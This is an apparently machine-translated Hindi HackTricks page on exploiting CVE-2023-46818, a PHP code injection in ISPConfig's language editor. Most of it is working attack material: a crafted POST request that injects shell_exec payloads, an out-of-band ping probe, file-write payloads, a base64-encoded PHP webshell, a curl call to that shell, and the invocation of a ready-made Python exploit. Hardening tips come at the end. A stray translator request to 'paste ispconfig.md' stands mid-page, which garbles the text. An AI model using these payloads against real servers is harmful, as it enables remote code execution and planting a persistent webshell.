ISPConfig
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
अवलोकन
ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में language file editor नाम का एक फीचर था जो, super administrator के लिए सक्षम होने पर, malformed translation record के जरिए arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और, इस बात पर निर्भर करते हुए कि PHP कैसे execute होता है, privilege escalation संभव है।
Key default paths:
- Web root अक्सर at
/var/www/ispconfig
होता है जब इसेphp -S
से या Apache/nginx के माध्यम से serve किया जाता है। - Admin UI HTTP(S) vhost पर reachable होता है (कभी-कभी केवल localhost पर bound होता है; आवश्यक होने पर SSH port-forward का उपयोग करें)।
टिप: यदि पैनल लोकल पर बाइंड है (उदा. 127.0.0.1:8080
), तो इसे फॉरवर्ड करें:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- प्रभावित: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- पूर्वशर्तें:
- Built-in superadmin account
admin
के रूप में लॉगिन (वेंडर के अनुसार अन्य रोल प्रभावित नहीं हैं) - Language editor सक्षम होना चाहिए:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- प्रभाव: प्रमाणीकृत admin arbitrary PHP inject कर सकता है जो एक language file में लिखा जाता है और application द्वारा execute होता है, जिससे web context में RCE प्राप्त होता है
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manual exploitation flow
- CSRF tokens प्राप्त करने के लिए language file खोलें/बनाएँ
पहला POST भेजें ताकि फ़ॉर्म इनिशियलाइज़ हो और HTML response से CSRF फ़ील्ड्स (csrf_id
, csrf_key
) पार्स करें। उदाहरण request path: /admin/language_edit.php
.
- records[] के माध्यम से PHP inject करें और save करें
CSRF फ़ील्ड्स और एक malicious translation record शामिल करते हुए दूसरा POST भेजें। न्यूनतम command-execution प्रॉब्स:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band परीक्षण (ICMP का निरीक्षण):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- फाइलें लिखें और एक webshell गिराएँ
वेब-पहुंच योग्य पथ (जैसे admin/
) के अंतर्गत एक फ़ाइल बनाने के लिए file_put_contents
का उपयोग करें:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
फिर POST बॉडी में खराब वर्णों से बचने के लिए base64 का उपयोग करके एक सरल webshell लिखें:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
कृपया ispconfig.md की सामग्री यहाँ पेस्ट करें — मैं दिए गए निर्देशों के अनुसार Markdown और HTML टैग, लिंक/पाथ तथा तकनीकी शब्द न बदलते हुए इसे हिन्दी में अनुवाद कर दूँगा।
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
यदि PHP को root के रूप में चलाया गया हो (उदा., root द्वारा शुरू किया गया php -S 127.0.0.1:8080
), तो यह तुरंत root RCE देता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं।
Python PoC
एक तैयार-उपयोग exploit token handling और payload delivery को स्वचालित करता है:
उदाहरण रन:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Hardening
- 3.2.11p1 या उसके बाद के संस्करण पर अपग्रेड करें
- भाषा संपादक को तब तक अक्षम रखें जब तक यह सख्ती से आवश्यक न हो:
admin_allow_langedit=no
- पैनल को root के रूप में चलाने से बचें; PHP-FPM या web server को इस तरह कॉन्फ़िगर करें कि वे privileges छोड़ दें
- built-in
admin
account के लिए मजबूत authentication लागू करें
संदर्भ
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।